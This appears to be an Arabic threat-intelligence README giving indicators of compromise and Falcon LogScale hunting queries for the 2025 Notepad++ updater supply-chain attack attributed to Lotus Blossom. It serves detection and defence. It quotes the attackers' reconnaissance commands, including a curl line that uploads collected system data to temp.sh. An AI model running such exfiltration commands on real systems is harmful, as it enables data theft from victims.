
مؤشرات الاختراق (IoCs) وقواعد الكشف لهجوم سلسلة التوريد على Notepad++ (CVE-2025-15556) — Lotus Blossom APT، يونيو–ديسمبر 2025. يتضمن استعلامات Falcon LogScale وقواعد YARA/Sigma وتعيين MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | يونيو – ديسمبر 2025
يحتوي هذا المستودع على مجموعة شاملة وموحّدة من مؤشرات الاختراق (IoCs) المتعلقة بـهجوم سلسلة توريد Notepad++ الذي تم الكشف عنه في 2 فبراير 2026.
بين يونيو وديسمبر 2025، قامت جهة تهديد مدعومة من الدولة الصينية باختراق البنية التحتية للاستضافة الخاصة بـ Notepad++، واختطفت آلية التحديث المدمجة (WinGUp) لتسليم مثبّتات معدّلة بشكل انتقائي إلى مستخدمين مستهدفين. استغل الهجوم غياب التحقق من التوقيعات الرقمية في المحدِّث (قبل الإصدار 8.8.9)، مما مكّن من توزيع أبواب خلفية مخصصة، وCobalt Strike Beacons، وحمولات Metasploit.
| CVE | CVE-2025-15556 — تنزيل كود دون التحقق من السلامة |
| جهة التهديد | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| فترة النشاط | يونيو 2025 – 2 ديسمبر 2025 |
| ناقل الهجوم | اختراق سلسلة التوريد عبر محدِّث WinGUp التلقائي |
| الأهداف | القطاع الحكومي، الاتصالات، الخدمات المالية، مزودو تكنولوجيا المعلومات (الفلبين، فيتنام، السلفادور، أستراليا، شرق آسيا) |
| البرمجيات الخبيثة | الباب الخلفي Chrysalis (مخصص)، Cobalt Strike Beacon، Metasploit Meterpreter |
| تم التصحيح في | Notepad++ v8.8.9+ (التحقق من الشهادة) / v8.9.1+ (التحقق من XMLDSig) |
حددت Kaspersky GReAT ثلاث سلاسل إصابة متميزة، يتم تدويرها شهريًا تقريبًا لتجنب الاكتشاف:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → يتم تسريبها عبر temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| الملف | الوصف |
|---|---|
notepadpp_supply_chain_iocs.csv | مجموعة بيانات IoC كاملة (105 مؤشرات) مع خرائط MITRE ATT&CK |
| العمود | الوصف |
|---|---|
ioc_type | النوع: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | قيمة المؤشر |
chain | سلسلة الإصابة (1, 2, 3, 1/2, 2/3, all, n/a) |
context | وصف لما يمثله مؤشر الاختراق |
source | مصدر الاستخبارات (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | درجة الخطورة (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | معرف تقنية MITRE ATT&CK |
سلوكي — غير معتمد على مؤشرات محددة، الأعلى قيمة:
gup.exe يُطلق أي عملية فرعية أخرى غير مثبّت Notepad++ الشرعي الموقّعgup.exe يتصل بنطاقات/عناوين IP أخرى غير notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (بيئة تشغيل NSIS — موجودة في جميع السلاسل)شبكي — ثقة عالية:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — خاصة مع رفع الملفات عبر curltemp.sh مضمّنة في ترويسة User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210أوامر الاستطلاع (بعد الاختراق):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)